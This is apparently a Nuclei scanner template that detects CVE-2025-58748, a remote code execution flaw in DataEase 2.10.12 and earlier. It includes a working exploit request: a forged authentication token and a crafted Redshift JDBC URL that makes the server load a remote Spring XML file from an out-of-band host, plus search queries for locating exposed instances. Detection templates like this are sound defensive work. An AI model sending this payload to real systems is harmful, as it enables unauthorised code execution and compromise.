Copy
id: CVE-2025-58748
info:
name: Dataease - Remote Code Execution
author: theamanrawat
severity: critical
description: |
Dataease <= 2.10.12 contains a remote code execution caused by lack of JDBC URL validation in H2 data source, letting attackers execute arbitrary code via crafted JDBC configuration with remote XML resource, exploit requires attacker to control JDBC configuration.
impact: |
Attackers can execute arbitrary code remotely, potentially leading to full system compromise.
remediation: |
Update to version 2.10.13 or later.
reference:
- https://github.com/dataease/dataease/security/advisories/GHSA-23qw-9qrh-9rr8
- https://nvd.nist.gov/vuln/detail/CVE-2025-58748
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-58748
epss-score: 0.00832
epss-percentile: 0.58879
cwe-id: CWE-502
metadata:
verified: true
max-request: 2
vendor: dataease
product: dataease
shodan-query: http.title:"DataEase"
fofa-query: title="DataEase"
tags: cve,cve2025,dataease,jdbc,rce,h2,redshift,oast
flow: http(1) && http(2)
variables:
config: '{"dataBase":"","driver":"com.amazon.redshift.jdbc42.Driver","jdbc":"jdbc:redshift://127.0.0.1:6666/testdb;socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext;socketFactoryArg=http://{{interactsh-url}}/exp.xml","urlType":"jdbcUrl","sshType":"password","extraParams":"","username":"","password":"","host":"","authMethod":"","port":0,"initialPoolSize":5,"minPoolSize":5,"maxPoolSize":5,"queryTimeout":30,"connectionType":"sid"}'
http:
- method: GET
path:
- "{{BaseURL}}/de2api/dekey"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "LXBrX3NlcGFyYXRvci0")'
condition: and
internal: true
- raw:
- |
POST /de2api/datasource/validate HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.UK4jQ8CzyC8nylz_eAFZMa8agK9vCF2zt9GQENwXbV0
{"name":"test","type":"h2","configuration":"{{base64(config)}}"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: status
status:
- 200
# digest: 4a0a0047304502207fbe7f272b77b50b0a3d62e446e5ef135228eedf356a33b64f544e6bca3b5937022100fca23db6e96dbc05b2c9b8083c7828c1217e31938482c33b9600da2d146626a9:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.